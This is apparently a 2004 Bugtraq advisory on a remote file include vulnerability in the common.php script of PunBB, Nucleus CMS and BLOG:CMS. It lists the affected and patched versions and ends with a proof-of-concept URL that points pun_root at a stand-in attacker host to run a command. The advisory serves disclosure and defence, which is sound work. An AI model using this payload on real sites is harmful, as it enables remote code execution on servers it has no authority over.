BID:10760

Nucleus CMS/Blog:CMS/PunBB Common.PHP Remote File Include Vulnerability

Info

Nucleus CMS/Blog:CMS/PunBB Common.PHP Remote File Include Vulnerability

Bugtraq ID:	10760
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 20 2004 12:00AM
Updated:	Jul 20 2004 12:00AM
Credit:	Discovery is credited to Radek Hulan.
Vulnerable:	PunBB PunBB 1.1.4 PunBB PunBB 1.1.3 PunBB PunBB 1.1.2 PunBB PunBB 1.1.1 PunBB PunBB 1.1 PunBB PunBB 1.0.1 PunBB PunBB 1.0 Nucleus CMS Nucleus CMS 3.0 RC Nucleus CMS Nucleus CMS 3.0 BLOG:CMS BLOG:CMS 3.1.3 BLOG:CMS BLOG:CMS 3.1.2 BLOG:CMS BLOG:CMS 3.1 BLOG:CMS BLOG:CMS 3.0

Not Vulnerable:	PunBB PunBB 1.1.5 Nucleus CMS Nucleus CMS 3.0 1 BLOG:CMS BLOG:CMS 3.1.4

Discussion

Nucleus CMS/Blog:CMS/PunBB Common.PHP Remote File Include Vulnerability

Nucleus CMS, Blog:CMS, and PunBB are vulnerable to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable computer.

Input passed to the 'common.php' script is not sufficiently sanitized.

All three applications are vulnerable because they have a similar or identical code base.

Exploit / POC

Nucleus CMS/Blog:CMS/PunBB Common.PHP Remote File Include Vulnerability

The following proof of concept is available:
http://www.example.com/forum/include/common.php?pun_root=http://www.host_evil.com/cmd?&=id